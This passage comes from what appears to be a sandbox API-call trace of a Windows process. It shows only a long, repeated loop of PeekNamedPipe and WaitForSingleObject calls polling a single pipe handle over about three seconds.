lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0130.988] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.018] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.018] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.049] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.049] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.080] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.080] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.111] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.111] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.142] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.142] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.173] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.174] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.206] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.207] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.236] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.236] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.267] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.267] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.299] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.299] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.330] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.330] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.361] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.361] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.392] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.392] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.426] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.426] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.454] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.454] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.486] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.486] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.517] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.517] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.551] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.551] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.579] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.579] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.610] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.610] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.642] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.642] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.673] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.673] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.704] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.704] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.735] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.735] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.767] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.767] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.817] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.817] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.844] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.844] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.877] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.877] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.908] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.908] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.938] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.938] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0131.969] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0131.969] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.002] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.003] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.032] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.032] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.063] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.063] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.467] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.467] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.506] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.506] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.532] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.532] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.562] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.562] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.593] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.593] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.624] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.625] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.655] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.656] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.687] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.687] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.718] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.718] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.749] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.749] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.781] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.781] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.812] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.812] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.843] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.843] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.874] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.874] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.905] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.905] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.972] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.972] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0132.999] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0132.999] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.032] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.032] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.061] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.061] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.092] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.092] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.162] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.162] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.186] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.186] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.218] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.218] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.248] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.248] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.280] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.280] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.311] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.311] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.342] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.342] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.373] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.373] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.404] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.404] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.435] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.436] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.467] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.467] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.498] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.498] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.529] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.529] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.560] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.561] WaitForSingleObject (hHandle=0x128, 